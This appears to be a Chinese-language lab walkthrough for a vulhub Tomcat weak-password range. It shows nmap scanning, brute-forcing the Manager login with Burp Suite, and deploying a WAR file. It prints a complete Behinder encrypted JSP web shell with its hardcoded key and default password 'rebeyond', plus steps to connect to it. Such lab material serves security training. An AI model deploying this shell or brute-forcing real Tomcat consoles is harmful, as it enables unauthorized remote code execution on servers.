vulhub-tomcat弱口令

1.启动靶场

进入文件

进入目录

进入到靶场

启动靶场

docker-compose up -d

2.查看 ip地址

3.使用nmap对ip进行 扫描

发现存在8080的端口，并且端口是开放的状态，apache，tomcat搭建的

4.访问ip地址的端口

点击Manager app

6.开启BP进行抓包

随便输入账号和密码

抓包注意这一块，这是base64的加密方式

7.进行base64解密

界面内容。

11111 11111就是我们刚刚输入的账号和密码。而中间的:是用来分隔的

8.对账号和密码进行爆破

把他添加为一个变量

\

设置第一个参数，1对应的是用户名

选择使用的字典

选择完毕后，点击add

选择第二个参数

对应的是用户:密码 中的:.

由于:是已知的，我们就不用选择字典了，直接写:进去就可以了

再次点击add。

设置完成

选择3.设置第三个参数

第三个参数对应的是用户:密码，中的密码

选择字典，载入进去

点击add

 payload processing中设置base64编码

由于bp会自动将符号进行 url 编码，所以需要将 Payload Encoding 默认的勾给去掉

开始爆破。

点击这个状态码200的。

查看数据包。

选中前面 设置的变量的地方，发送到Decoder模块进行解码

tomcat：tomcat

为账号和密码

9.登录账号

、、

登录成功

10.准备一个jsp木马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

11.制作一个 war包

将.jsp的文件压缩成.zip格式的

将.zip的后缀修改为.war。

12.将war包部署Tomcat上

将刚刚制作好的.war的包上传上去

点击Deploy

13.查看应用列表中x.war包是否上传成功

这里是上传成功

14.访问刚刚上传好的.jsp的文件

http://192.168.189.131:8080/k/k.jsp

如果你上传的.war，比如说叫x.jsp那么目录就是

##http:/192.168.189.131:8080/x/x.jsp

以此类推

出现空白的界面代表成功

15.使用冰蝎或者蚁剑进行连接 

连接密码:rebeyond